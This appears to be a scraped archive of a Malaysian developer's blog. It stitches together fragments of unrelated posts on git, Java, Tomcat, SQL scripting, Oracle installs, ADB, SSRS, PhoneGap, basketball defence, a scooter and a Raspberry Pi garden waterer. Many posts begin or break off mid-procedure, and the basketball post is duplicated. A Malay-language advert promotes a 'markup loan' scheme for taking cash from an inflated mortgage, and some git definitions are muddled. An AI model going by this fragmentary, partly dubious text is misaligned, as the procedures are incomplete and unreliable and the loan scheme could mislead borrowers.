<pre class="lang-java prettyprint prettyprinted" style="background-color: #eff0f1; border: 0px; color: #393318; font-family: Consolas, Menlo, Monaco, "Lucida Console", "Liberation Mono", "DejaVu Sans Mono", "Bitstream Vera Sans Mono", "Courier New", monospace, sans-serif; font-size: 13px; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; width: auto; word-wrap: normal;">Date date =newDate();// Or where ever you get it from Date daysAgo =newDateTime(date).minusDays(300).toDate();</pre>
2. Get the remote repository Web URL by pressing the “Clone or Download” button (coloured green). It looks like this : https://github.com/iserifith/ScoreBoard.git
3. Open Terminal and go to your local project folder where you have the files you have been working on.
4. Initialize the local project folder as a Git repository using the following command : git init
5. Add the files in the project folder into “local git repository” - this is called “staging”. git add .
Note : This does not connect to “remote git repository”. Understand the difference between local and remote git repository.
6. Commit the files that you’ve staged in your local repository. git commit -m “First commit”
7. Now we set so that our local repository are linked to the remote repository. This command set the remote repository as the “origin”. git remote add origin {remote repository Web URL}
Example : git remote add origin https://github.com/iserifith/ScoreBoard.git
8. Verify that our remote repository are linked properly using git remote -v
It will prompt you something like this : originhttps://github.com/iserifith/ScoreBoard.git (fetch) originhttps://github.com/iserifith/ScoreBoard.git (push) <div> </div>9. Once all set, push the all files (that we have committed just now) in your local repository to GitHub using the following command : git push origin master
Extra : Now, to make sure you keep updated Github with your work, all you need to are 3 steps :
1. Add all files (staging) git add .
2. Commit git commit -m “I did some changes”
3. Push to Github (remote repository) git push origin master
6. Then, set git to use this script as part of ‘diff’ command git config –global diff.external /home/script/git_meld.py
That’s it, we’re done. Use git diff as the following
// compares working directory with index // i.e. shows the changes that are not staged yet. git diff
// compares working directory with local repository. // shows the list of changes after your last commit. git diff HEAD
// compares index with local repository. // shows the diff between your last commit and changes to be committed next (already staged, but not yet commited) git diff –cached Full manual available : https://www.kernel.org/pub/software/scm/git/docs/git-diff.html
If you want to compare between 2 commits, use git log and then copy the commit ID of the 2 commits you want to compare i.e. commit 8c9dcaa5424a67ddf20cd453bcb6db4c5b04edbf — copy this Author: Raf Date: Sat Sep 3 17:49:19 2016 +0800 <div> And then, run the following git diff [commitA] [commitB]</div><div> </div><div> </div><div> </div><div> </div>
Use terminator if you use terminal alot - multi tabs - multi panels - fast
More info : http://gnometerminator.blogspot.my/p/introduction.html
1. To install, download tar ball from here http://launchpad.net/terminator/trunk/0.97/+download/terminator-0.97.tar.gz
2. Copy to somewhere you usually install your application sudo cp -r terminator-0.97 /usr/local/
3. Create a symlink to our application in /usr/bin This enable you to run it from terminal ln -s /usr/local/terminator-0.97/terminator /usr/bin/terminator
4. Now you can run terminator from command line. To run it without the need of the console, run setsid terminator
Compile the Java File to a *.class file. This isJava bytecode that can be executed on the Java Virtual Machine (JVM). JVM is installed automatically when we install Java and it will be invoked automatically when we run a java program.
Note : In Eclipse, "run" perform both compilation and execution.
javac MyGame.java
This will create a MyGame.class file
Execution of the Java File
java MyGame
Creation of an executable *.jar file. A jar file is simply a file containing a collection of java files.
First, create a manifest file : touch manifest.mf
In the manifest file, point Main-Class to our java file that has main entry point i.e. main() method. For example,
Manifest-Version:1.0 Main-Class:MyGame
Make sure the compiled output class files (myGame.class) and the manifest file are in the same folder.
Add -h remote-server-address if you’re creating from remote database server.
Afterwards, edit the dump file and put these lines at the beginning:
SET AUTOCOMMIT = 0; SET FOREIGN_KEY_CHECKS=0; And put these lines at the end: SET FOREIGN_KEY_CHECKS = 1; COMMIT; SET AUTOCOMMIT = 1; For example, using sed on Linux to insert at the beginning of the file: sed -i ‘1s/^/SET AUTOCOMMIT = 0; SET FOREIGN_KEY_CHECKS=0;\n/’ dump_sit.sql
Linux is not an operating system unto itself, but rather another free component of a fully functioning GNU system made useful by the GNU corelibs, shell utilities and vital system components comprising a full OS as defined by POSIX. Many computer users run a modified version of the GNU system every day, without realizing it. Through a peculiar turn of events, the version of GNU which is widely used today is often called “Linux”, and many of its users are not aware that it is basically the GNU system, developed by the GNU Project.
There really is a Linux, and these people are using it, but it is just a part of the system they use. Linux is the kernel: the program in the system that allocates the machine’s resources to the other programs that you run.
The kernel is an essential part of an operating system, but useless by itself; it can only function in the context of a complete operating system. Linux is normally used in combination with the GNU operating system: the whole system is basically GNU with Linux added, or GNU/Linux.
All the so-called “Linux” distributions are really distributions of GNU/Linux.
I have to go through proxy at work. Time from time, I took a break and work on my personal projects which are hosted on github and thus, git on my computer needs to be configured for it.
On the terminal, run this :
<pre style="background-color: #eff0f1; border: 0px; color: #111111; font-family: Consolas, Menlo, Monaco, "Lucida Console", "Liberation Mono", "DejaVu Sans Mono", "Bitstream Vera Sans Mono", "Courier New", monospace, sans-serif; font-size: 13px; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; width: auto; word-wrap: normal;"><div style="color: black; font-family: "Times New Roman"; font-size: medium; white-space: normal;"> HTTP_PROXY=http://proxy.site.my:80</div> <div style="color: black; font-family: "Times New Roman"; font-size: medium; white-space: normal;"> git config –global http.proxy $HTTP_PROXY</div> </pre>Back at home, I need to set it back to having no proxy
Enough of the nonsense by wannabe coaches that I met. I think the following defense is great, especially for a team with many guards...which is quite frequent in Malaysia.
Case 1 : Starting position.
Common mistakes : Defender No 1 is not pressuring the ball handler enough. No 4 and No 5 not taking middle threat early.
Should do : No 1 should always pressure the ball handler closely but giving up no penetration. For No 4 and No 5, once an opponent cuts through the paint area near highpost or free throw line or paint area in general, the weakside low post defender (one of the lost post defender only) should already body check the cutter, making him useless. In some cases where the opponent is not really good, give him space so that he will get the ball and check him right after - this almost always return a turnover.
Case 2 : Ball is swung to the 45.
Common mistakes : The weakside defenders stick to defending the weakside (which no one there has the ball - no threat) instead of clogging the paint area.
Should do : The wing closest to the ball should close up and pressure the ball. The weakside defenders (both wing and low post defenders should retreat closer to the paint. Yes, giving the weakside opponents some space. At this moment, they don’t have the ball - no threat. A long pass from wing to wing is always easy to intercept. Being away from these weakside wings will highly encourage that long pass.
Case 3 : Ball is swung all the way to the corner.
Common mistakes : Instead of the low post defender, the wing is the one that actually go for the corner defense. Also, if one of the low post defender go for the corner defense, the other low post defender did not move to replace his spot at the low post area strongside (but stick to his original spot on the weakside).
Should do : The closest low post defender should leave his spot and go all the way to challenge the opponent with the ball at the corner. The other low post defender should replace his spot in paint area (thus, leaving the weakside spot entirely). The weakside wings should clog the free throw line area, despite having the shooters at 45 weakside (again, we want to encourage the long pass to the weakside wing, by any chance)
Enough of the nonsense by wannabe coaches that I met. I think the following defense is great, especially for a team with many guards...which is quite frequent in Malaysia.
Case 1 : Starting position.
Common mistakes : Defender No 1 is not pressuring the ball handler enough. No 4 and No 5 not taking middle threat early.
Should do : No 1 should always pressure the ball handler closely but giving up no penetration. For No 4 and No 5, once an opponent cuts through the paint area near highpost or free throw line or paint area in general, the weakside low post defender (one of the lost post defender only) should already body check the cutter, making him useless. In some cases where the opponent is not really good, give him space so that he will get the ball and check him right after - this almost always return a turnover.
Case 2 : Ball is swung to the 45.
Common mistakes : The weakside defenders stick to defending the weakside (which no one there has the ball - no threat) instead of clogging the paint area.
Should do : The wing closest to the ball should close up and pressure the ball. The weakside defenders (both wing and low post defenders should retreat closer to the paint. Yes, giving the weakside opponents some space. At this moment, they don’t have the ball - no threat. A long pass from wing to wing is always easy to intercept. Being away from these weakside wings will highly encourage that long pass.
Case 3 : Ball is swung all the way to the corner.
Common mistakes : Instead of the low post defender, the wing is the one that actually go for the corner defense. Also, if one of the low post defender go for the corner defense, the other low post defender did not move to replace his spot at the low post area strongside (but stick to his original spot on the weakside).
Should do : The closest low post defender should leave his spot and go all the way to challenge the opponent with the ball at the corner. The other low post defender should replace his spot in paint area (thus, leaving the weakside spot entirely). The weakside wings should clog the free throw line area, despite having the shooters at 45 weakside (again, we want to encourage the long pass to the weakside wing, by any chance)
Already bought a house though. Didn’t use these similar methods.
<div style="background-color: white; color: #1d2129; font-family: helvetica, arial, sans-serif; font-size: 14px; line-height: 19.32px; margin-bottom: 6px;">Dapatkan cashback RM35,000 + extra positif cashflow RM100 sebulan dengan pembelian rumah :
Beli rumah RM185,000 je.. Market value untuk rumah RM220,000 Cashback RM35,000 adalah dari lebihan pembiayaan yang anda buat sekiranya anda markup loan..
Jom kita kira kat abwah</div><div class="text_exposed_show" style="background-color: white; color: #1d2129; display: inline; font-family: helvetica, arial, sans-serif; font-size: 14px; line-height: 19.32px;"><div style="font-family: inherit; margin-bottom: 6px; margin-top: 6px;"> loan 100% dari RM220,000.. So bank bagi RM220,000.. Owner nak RM185,000 je.. Balance ada RM35,000 kat tangan</div><div style="font-family: inherit; margin-bottom: 6px; margin-top: 6px;"> Macam mana boleh dapat cashflow RM200 sebulan?</div><div style="font-family: inherit; margin-bottom: 6px; margin-top: 6px;"> Market rental RM1,000 sebulan.. Dimana installment untuk rumah ni kalau loan 100% adalah RM1,000.. Skim ini menawarkan bantuan kewangan dari kerajaan sebanyak RM200 sebulan..</div><div style="font-family: inherit; margin-bottom: 6px; margin-top: 6px;">. Installment RM1,000 - RM200 (bantuan kewangan dari kerajaan) = RM800.. Sewa RM1,000 sebulan.. Maka ada lah baki RM200 sebulan sekiranya rumah ini dibeli dan di SEWAKAN..also with RM35,000 cash.</div><div style="font-family: inherit; margin-bottom: 6px; margin-top: 6px;">. Mohd Safuan - 0149045112 REN 16990 Weise International Property Consultants Sdn Bhd.</div></div>
I was doing some works with Tomcat on my current Debian setup and this one issue keeps bugging me the whole day. Today is Friday and lucky for me, I was able to get some times away from that and cleared my mind before getting back at it.
After returning (soaked in wet rain), I came to the conclusion that Tomcat cached some of the apps that I deployed somewhere. This means that re-deploying the apps does not really load up the entirely new App properly as a whole.
Before that, I have checked and did the following, which seemingly “removed” the previous deployment.
Remove the contents of the folder $CATALINA_HOME/work
Well, that worked for basic UI changes that I made, until I needed to re-point the apps to my local database. In my App, there is a config/properties file that handles this. I made changes to the file, and guess what?
The databases connection was unsuccessful…
It seems that Tomcat still does some cache-ing somewhere….
and then I found out the solution :
Change the content of the following file : $CATALINA_HOME/conf/context.xml
A friend of mine started a colloboration to create an App which aims to help Orphanage discovery. The main tool to use is PhoneGap. Little that I know, PhoneGap Desktop is not yet supported on Linux. The wine-ported version reported crashing upon launched.
The thing is, I didn’t know that PhoneGap has command line tool called PhoneGap CLI. PhoneGap CLI is actually older than the Phone Gap desktop. I have used PhoneGap desktop on Windows before and I found it quite easy to use. I didn’t do much with it though. Now that I am on full-time Linux, I will need to use the PhoneGap CLI, thus tutorial below is for those who are interested to develop a PhoneGap app using PhoneGap CLI.
# create a PhoneGap project, NPM will pull simple hello world project for us to use phonegap create myApp # change to project directory cd myApp # build and install the app to Android phonegap run android # start up a local web server to host our application phonegap serve
Get the ip provided and put it in the PhoneGap Developer App on your phone. The first page displayed is stored at YourAppDirectory/www/index.html
Github is the ‘hosted’ version of this software - stored in a remote server.
Git stores the project’s codes and files.
Git helps programmers in Versioning the codes - each changes they make to the codes will be tagged to a running number, normally with a comment what changes has been done.
Git helps several programmers to collaborate - work together in a single project by making sure everyone can have the latest updated codes at any time and everyone is aware what changes are done to the codes - by reading their comments.
Some terms
Repository : The storage for the codes.
Trunk : Main version of the codes stored in the repository.
Branch : Codes which are derived from trunk (main version). Normally, a programmer will have their own personal branch to work on instead of working directly on trunk - this is to preserve the trunk. So, this could be the first thing they do - branched from trunk. Branched is done on the remote repository - so, basically we creates a copy of the trunk at the remote repository.
Checkout or Clone : Download the current version of the codes from the remote repository to our pc and saved them locally as “local repository”. This is usually done the first time we get the codes - checkout from our personal branch.
Origin or Master : The location where codes are checked out from.
Fetch : Get the latest version of codes from remote repository but not merging to the current codes in local repository yet.
Pull : Fetch and Merge at the same time.
Commit : Save the latest changes we did on the local repository to a version. Typically done with a comment what changes have been done.
Add : Add new file for the next commit (see below)
Push : Upload current codes (which has last commit) of local repository to the remote repository, typically to the remote branch.
Merge : “Compare” and “Combine” two versions of codes. Normally, once all changes are completed on one branch, the branch will be merged to trunk. This will typically happened at the end stage of development.
Conflicts : The differences between two versions of codes. Occurs when one tries to merge two versions of codes together (i.e. trunk vs branch) that have some differences. Conflicts need to be “resolved”
Typical Workflow
At remote repository, branch from trunk. We get the most updated version.
Checkout the branch to a local repository at our pc.
Make some changes on the codes.
Commit with a message - versioning will be done automatically.
Make more changes on the codes.
Commit with another message - new version created.
Some more changes and commit cycles.
Work are done.
Push the branch in our local repository to the branch in remote repository.
Try to merge the remote branch to the trunk.
Conflicts with occurs at this point since we are updating the trunk with our changes. Resolve them.
Once merged to trunk, trunk will have our latest codes.
Another programmer will try to merge his branch to the trunk.
If any conflicts occurs, he need to resolve them first. Typically, if two programmers don’t work at the same issues, there will be not much conflicts or conflicts can be easily resolved.
To start, install Tortoisegit below and start checking out from any Github repos : https://tortoisegit.org/about/screenshots/#Explorer_integration
<ul><li>Enable administrative share for C$ (Please check with your System Admin to do this or See Microsoft document http://support.microsoft.com/kb/314984)</li><li>Check that it is ok:</li><li>net use \c$ should work</li><li>the current user (i.e. user in administrator group) should have all privileges on the default share</li><li>Retry the installation</li><li>Remove the administrative share again</li></ul>
Fix 2 :
<ul><li>Remove the OracleRemExecService before doing the Oracle Client 12c Release 1 32-bit or 64-bit installation on the same Microsoft Windows x64 (64-bit) after installing the Oracle 64-bit or 32-bit software .</li><li>Go to the Windows ‘Services’</li><li>Stop OracleRemExecServiceV2</li><li>( This service is having a intelligence .Once someone tries to stop it this service gets deleted. This is due to the fact ,that this service is not running from the Oracle Home like other oracle services ,but from temp . For example : C:\Users\AppData\Local\Temp\oraremservi… )</li><li>Then try to install the Oracle 12c 32-bit or 64-bit on the same Microsoft Windows x64 (64-bit)</li></ul>
Fix 3 :
<ul><li>Launch cmd.exe in Administrator mode</li><li>SET TEMP = C:\TEMP</li><li>Run the installer from that command window</li></ul>
Think of Java sourcecode packages as one big hierarchical namespace. Commercial applications typically live under 'com.mycompany.myapp' (the website for this application might be 'http://myapp.mycompany.com' although this is obviously not always the case). How you organize stuff under your myapp package is largely up to you. The distinction you make for C# between executable (.exe), DLL's and low-level classes does not exist in the same form in Java. All Java source code is compiled into .class files (the contents of which is called 'bytecode') which can be executed by a Java Virtual Machine (JVM) on many platforms. So there is no inherent distinction in high-level/low-level classes, unless you attribute such levels via your packaging. A common way of packaging is:
com.mycompany.myapp: main class; MyApp (with a main method)
com.mycompany.myapp.model: domain model classes; Customer, Order, etc.
com.mycompany.myapp.ui: user interface (presentation or view) code
com.mycompany.myapp.service: services within your application, i.e. 'business logic'
com.mycompany.myapp.util: helper classes used in several places
this suggests a standalone Java app, it might be different if it is a webapp using one of the many frameworks.
These packages correspond to a directory hierarchy in your project. When using Eclipse, the root of such a hierarchy is called a 'source directory'. A project can define multiple source directories, commonly a 'main' and a 'test' source directory.
BarUtils.class this is a compiled java class, so in platform independent bytecode form that can be run on any JVM. Usually jarfiles only contain the compiled classes although you can sometimes download a version of the jar that also contains the source (.java) files. This is useful if you want to be able to read the original source code of a jar file you are using.
In the example above Bar, BarTest and BarUtils are all in the same package com.acme.foo but physically reside in different locations on your harddisk.
Classes that reside directly in a source directory are in the 'default package', it is usually not a good idea to keep classes there because it is not clear to which company and application the class belongs and you can get name conflicts if any jar file you add to your classpath contains a class with the same name in the default package.
Now if you deploy this application, it would normally be compiled into .class files and bundled in a .jar (which is basically a fancy name for a .zip file plus some manifest info). Making a .jar is not necessary to run the application, but handy when deploying/distributing your application. Using the manifest info you can make a .jar file 'executable', so that a user can easily run it, see [a].
Usually you will also be using several libraries, i.e. existing .jar files you obtained from the Internet. Very common examples are log4j (a logging framework) or JDBC libraries for accessing a database etc. Also you might have your own sub-modules that are deployed in separate jarfiles (like 'utilities_1_0.jar' above). How things are split over jarfiles is a deployment/distribution matter, they still all share the universal namespace for Java source code. So in effect, you could unzip all the jarfiles and put the contents in one big directory structure if you wanted to (but you generally don't).
When running a Java application which uses/consists of multiple libraries, you run into what is commonly referred to as 'Classpath hell'. One of the biggest drawbacks of Java as we know it. (note: help is supposedly on the way). To run a Java application on the command line (i.e. not from Eclipse) you have to specify every single .jar file location on the classpath. When you are using one of Java's many frameworks (Maven, Spring, OSGi, Gradle) there is usually some form of support to alleviate this pain. If you are building a web application you would generally just have to adhere to its layering/deployment conventions to be able to easily deploy the thing in the web container of your choice (Tomcat, Jetty, Glassfish).
I hope this gives some general insight in how things work in Java!
Had a nice informal interview (more like a meetup, really) with one of the partners of Kendra Solutions (https://kendra-solutions.com), Andreas. They work on a payment exchange/gateaway system for Telco companies called Kendra Exchange System. Andreas introduced me to some tools that the company are using for the development of their system and MySQL Cluster is one of them.
In the natural order of physical life and existence, time does not exist at all. It is we human who created the concept of time to measure the movements. And we divide each day into 24 hours and one hour into 60 minutes and so on. So, actually, “time” does not move at all because it is a abstract creation made by us. So what moves? It is our biological functions that move. Our body grows from one cell into thousands and then millions, from fetus into a baby and then into a toddler, a child, and finally into an adult. It is the same with plants and animals. We, the objects, have moved. And we measure such movement with the abstract concept of time which we have created.
And you know, a tree or plant can never shrink backwards until it become a seed, nor a human being can have his or her bodily cells reformed backwards until he or she becomes a baby. It is a one way ticket. You SIMPLY CAN’T reverse these process.
I learned this from my current project’s team leader, Shaun who is a good programmer himself. His attentive to details is off the chart among those that I know. These are good habits to incorporate into my programming skill, specifically for SQL.
All the tips below are to ensure that our SQL scripts can be executed at all times and multiple times. These are also to ensure that MOST preconditions are covered so that our script can be executed successfully until the end of the line - instead of stopping halfway due to errors.. Sometimes, we as developer have no control over the deployment of our scripts. Once we handed them over, the IT guys of the clients will run the scripts and chase us when something goes wrong (which happens, all the time!)
For TABLES
1. To create a new table, do not just DROP and CREATE. The best way is to put in the preconditions check, that is to check first IF EXIST (using schema, sys,object or HASH and then DROP. This will avoid stopping the execution of the script due to the table not found - thus can’t be dropped.
Using sys,objects : IF EXISTS(SELECT 1 FROM sys.Objects WHERE Object_id = OBJECT_ID(N’dbo.MY_TABLE’) AND Type = N’U’) BEGIN PRINT ‘TABLE_EXIST’ ENDIF Using Hash : IF DBO.getTableHash(‘MY_TABLE’) = 0xACE31E3C4550DE4B166F01E78A1D86E5 DROP TABLE MY_TABLE
2. To insert a new data, ensure that ALL PRIMARY KEYS of the rows are checked against before the INSERT command is executed. This is to ensure that we select exactly the data row that we want - the use of Primary Keys distinguishes this! IF NOT EXISTS (SELECT * FROM TABLE1 WHERE COL_PK1=’A1’ AND COL_PK2=’A2’) BEGIN INSERT INTO SET_INITIAL (COL3, COL4) VALUES (‘A3’,’A4’) END
For STORED PROCEDURES (StoProc)
1. To alter an existing StoProc or to create a new one, do not use DROP and CREATE. SQL keeps a log somewhere with regards to the creation and modification of any StoProc. For existing StoProc, DROP and CREATE will not be helpful anymore for the logs because CREATE builds a new StoProc altogether instead of referring to the previously existing one that being dropped. Instead, use the following : Check IF NOT EXIST, then CREATE empty StoProc. Then, followed by ALTER StoProc. In the above script, first part creates an dummy StoProc if the StoProc with the specified name in the specified schema does not exist. This is useful for the initial setup, when you are creating this StoProc in a new environment. The second part alters the StoProc always – whether it’s created in the first step or it existed before. So, every time you need to make some changes in the StoProc, only the ALTER PROCEDURE section (second part) of the above script needs to be modified and entire script can be executed without worrying whether the StoProc already exists or not. IF NOT EXISTS (SELECT * FROM sys.objects WHERE object_id = OBJECT_ID(N’[dbo].[SP_MY_ELEGANT_SP]’) AND type in (N’P’, N’PC’)) EXEC(‘CREATE PROCEDURE [dbo].[SP_MY_ELEGANT_SP] AS SET NOCOUNT ON;’) GO ALTER PROCEDURE [dbo].[SP_MY_ELEGANT_SP] ….. The usual approach what people follow for modifying StoProc is to check IF EXIST, then DROP it (if exists) and CREATE it back. The following are the drawbacks of using this approach:
<ul><li>Permissions associated with the object, like GRANT EXECUTE etc., are lost when we DROP and CREATE the StoProc.</li><li>If ALTER PROCEDURE is used on any prior version in a “maintenance” script, different Script needs to be written to cater for it if the StoProc is already existed.</li><li>If DROP PROCEDURE and CREATE PROCEDURE approach is used, then all the permissions previously present on the Stored Procedure need to be given again with the help of necessary additional scripts. </li></ul><div> </div>
If you need just the adb tool for debugging your mobile app, but you don’t need the whole big size SDK, use this tool : Download 15 seconds ADB Installer v1.3 Features: Small - 9.18 MB Fast - 15 seconds install Include - ADB, Fastboot and also Drivers Easy to install - just run it and program will guide you Clean - ADB and Google Drivers from latest SDK
Install process: 1. Run it with administrator privileges 2. Press Y/Yes to install ADB and Fastboot or N/No to skip 3. Press Y/Yes to install ADB system-wide or N/No for current user only 4. Press Y/Yes to install Drivers or N/No to skip 5. Continue Driver installation 6. 15 seconds passed - finished!
Notes: System-wide: ADB and Fastboot are installed to %SystemDrive%\adb directory, and added system-wide path. Current user only: ADB and Fastboot are installed to %UserProfile%\adb directory, and added path for current user. CMD can use ADB and Fastboot from any directory. Drivers are installed to system - no need to install them from directories. Installer automaticly decides if install 32-bit or 64-bit drivers. If you have problem with driver enumeration in Windows 8.1 install update KB2917929
Some changes on your SSRS report weren’t being reflected when you run it, especially when you made changes on the SP.
Why? SSRS kept a data cache file of the report when you first ran it. By running the report again, sometimes SSRS only retrieves the data cache file instead of actually running the report entirely again. I think this is only the case when you made changes structurally (getting new data column, maybe?) on your SP.
Let’s create a shortcut to remove these files :
Go to Tools > External Tools
Add a new tool with the following settings:
Title: Clear Report Data Cache Command: “%WinDir%\System32\cmd.exe” Arguments: /C DEL /S /Q “$(SolutionDir)*.rdl.data” Check options: Use Output window & Close on exit <div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"> </div><div class="separator" style="clear: both; text-align: left;">Now you can run it. Just to Tools > Clear Report Data Cache </div><div class="separator" style="clear: both; text-align: left;"></div><div class="separator" style="clear: both; text-align: left;"> </div><div class="separator" style="clear: both; text-align: left;">You can check the output window</div>
I’ve setup Kali Linux on my laptop for a while, trying to get used to the whole Linux environment. No more windows.
After re-installing Android Studio, I wanted to get to work quickly and try to fire up a hello world app. However, when I plugged in my Lenovo, it was not detected automatically. Running adb devices gives me this:
List of devices attached ???????????? no permissions
Luckily found a fix.
This is what I did. I created a file named /tmp/android.rules with the following contents:
I must admit, fixing this phone is a pain in the arse a little bit, especially after I followed the instructions as close as 1, 2, 3. First, it was about installing the drivers. Then, it turned out, the version of the app in used matters too otherwise the flashing will keep failing.
I sold the old 2000 Modenas Kriss for RM1300 and got myself a 2008 Modenas Elegan 150 instead.
So far, the money is worth it!
The pickup is good, the engine is fine, definitely the best of all scooters I've seen and tested the past weeks. The handle is a bit shaky at 100km/h but I often cruise below that.
Also, this thing is also unbelievably fuel-savvy. I went 100km on 2-person ride with only RM10 (and still about half left in the tank)
<div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"> </div><div class="separator" style="clear: both; text-align: center;">My friend’s (with the box) and mine. I thought to buy that one but the owner is not in Malaysia. </div> <div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"> </div><div class="separator" style="clear: both; text-align: center;">They look the same but they are actually different makes.</div><div class="separator" style="clear: both; text-align: center;"></div> <div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"> </div><div class="separator" style="clear: both; text-align: center;">The first 100 km. </div><div class="separator" style="clear: both; text-align: center;"> </div><div class="separator" style="clear: both; text-align: center;"> </div><div class="separator" style="clear: both; text-align: left;">Will definitely get it for its first time service soon. Maybe a monorack and a box. </div> On a side note, I hereby concur that I was seduced to the scooter world by Bro Syed Aljunid, who currently rides a Sym Maxsym 400.
I want to start collecting Raspberry Pi’s based projects so that when time comes (and as they becomes financially do-able), I’ll be able to build a couple of these useful ones. You know, never stop learning, never stop innovating.
This one is not like any micro-controller based garden watering systems. It uses weather forecast (forecast.io API) to determine whether or not the watering should be done for the day! Sounds good, right?
I don’t want these to be lost when the articles got deleted or the website becomes unavailable. So, I’d a copy of the articles here and put the reference where it’s due.
<div style="background-color: white; border: 0px; color: #525758; font-family: Arial, sans-serif; font-size: 15px; line-height: 22px; margin-bottom: 22px; outline: 0px; padding: 0px; vertical-align: baseline;">Like any good “lazy programmer,” I’m always looking for ways to automate. This spring’s project: monitoring and watering my garden. I had a wifi-enabled Raspberry Pi laying around and decided to put it to good use. For this project I wanted to do better than just a glorified timer. The goal: An automated watering system that can use the weather forecast, soil, light, and temperature sensors to keep my garden looking great all summer.</div><div style="background-color: white; border: 0px; color: #525758; font-family: Arial, sans-serif; line-height: 22px; margin-bottom: 22px; outline: 0px; padding: 0px; vertical-align: baseline;">Phase 1 : Timer and Forecast-based Watering</div><div style="background-color: white; border: 0px; color: #525758; font-family: Arial, sans-serif; font-size: 15px; line-height: 22px; margin-bottom: 22px; outline: 0px; padding: 0px; vertical-align: baseline;">I’ve written a simple script that wakes up at 10PM, determines the likelihood of rain, and waters accordingly. The script looks up the forecast using the Forecast.io API. If there is less than a 50% chance of rain, the GardenPi will water for a short duration.</div><div style="background-color: white; border: 0px; color: #525758; font-family: Arial, sans-serif; font-size: 15px; line-height: 22px; margin-bottom: 22px; outline: 0px; padding: 0px; vertical-align: baseline;">Future phases (already underway) will include sensors for temperature, soil moisture, light, and humidity. Based on that information, the GardenPi will be able to make better watering decisions. The sensor data could be made available via an onboard website or mobile application. Better sensors, form factor, time lapse, and user interface are all things that I’ll be looking at for future versions.</div><div style="background-color: white; border: 0px; color: #525758; font-family: Arial, sans-serif; font-size: 15px; line-height: 22px; margin-bottom: 22px; outline: 0px; padding: 0px; vertical-align: baseline;">I’ve learned a lot in the last few weeks from building this project — a little bit more about basic electronics, how to solder, how to draw up schematics, and the joy of building actual gizmos that serve a purpose. I’ve also learned that I’m not the only one doing this kind of project with the Raspberry Pi; I’ve included links to other projects at the end of this post.</div><div style="background-color: white; border: 0px; color: #525758; font-family: Arial, sans-serif; font-size: 15px; line-height: 22px; margin-bottom: 22px; outline: 0px; padding: 0px; vertical-align: baseline;">Required Parts (approx. cost ~$85)</div><ul style="background-color: white; border: 0px; color: #525758; font-family: Arial, sans-serif; font-size: 15px; line-height: 22px; list-style-image: initial; list-style-position: initial; margin: 0px 0px 22px 2.5em; outline: 0px; padding: 0px; vertical-align: baseline;"><li style="background-color: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Raspberry Pi</li><li style="background-color: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">USB Wifi Dongle</li><li style="background-color: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">SD Card</li><li style="background-color: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Soaker / Drip hose throughout the garden</li><li style="background-color: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Solenoid for turning on the soaker hose</li><li style="background-color: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">A female hose swivel adapter to connect your garden hose to the solenoid</li><li style="background-color: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Relay for switching 12V power</li><li style="background-color: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">12V / Raspberry Pi power supplies</li><li style="background-color: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Assorted electronics (breadboard, resistors, wires, LED)</li><li style="background-color: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">High tech weather resistant case (aka medium sized Tupperware container)</li></ul><div>Schematics</div><div class="separator" style="clear: both; text-align: center;"></div><div>Getting Rpi ready </div><ol style="background-color: white; border: 0px; color: #525758; font-family: Arial, sans-serif; font-size: 15px; line-height: 22px; list-style-image: initial; list-style-position: initial; margin: 0px 0px 22px 2.5em; outline: 0px; padding: 0px; vertical-align: baseline;"><li style="background-color: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Install Raspbian and configure WiFi access.</li><li style="background-color: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Install Ruby for root user.</li><li style="background-color: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Run gem install god.</li><li style="background-color: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Pull the garden_pi_waterer repository && bundle install to install dependencies.</li><li style="background-color: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Modify the parameters (forecast.io API key, timing info, etc.) in environment.rb.</li><li style="background-color: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Build out breakout board (see schematic below).</li><li style="background-color: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Connect the solenoid between water source and soaker hose, taking note of the directional arrow on the solenoid and using the adapter to connect the male end of your garden hose to the input on the solenoid.</li><li style="background-color: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Power up the Pi and your 12V power supply.</li><li style="background-color: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Install install/init.d to /etc/init.d/god and follow instructions in that file</li><li style="background-color: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Install god.conf to /home/pi</li><li style="background-color: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Restart and enjoy.</li></ol><div style="background-color: white; border: 0px; color: #525758; font-family: Arial, sans-serif; font-size: 15px; line-height: 22px; margin-bottom: 22px; outline: 0px; padding: 0px; vertical-align: baseline;">Results
I’ve watered my garden with a Raspberry Pi. Success. There is a lot of room for improvement, and I’m looking forward to extending the GardenPi’s capabilities.
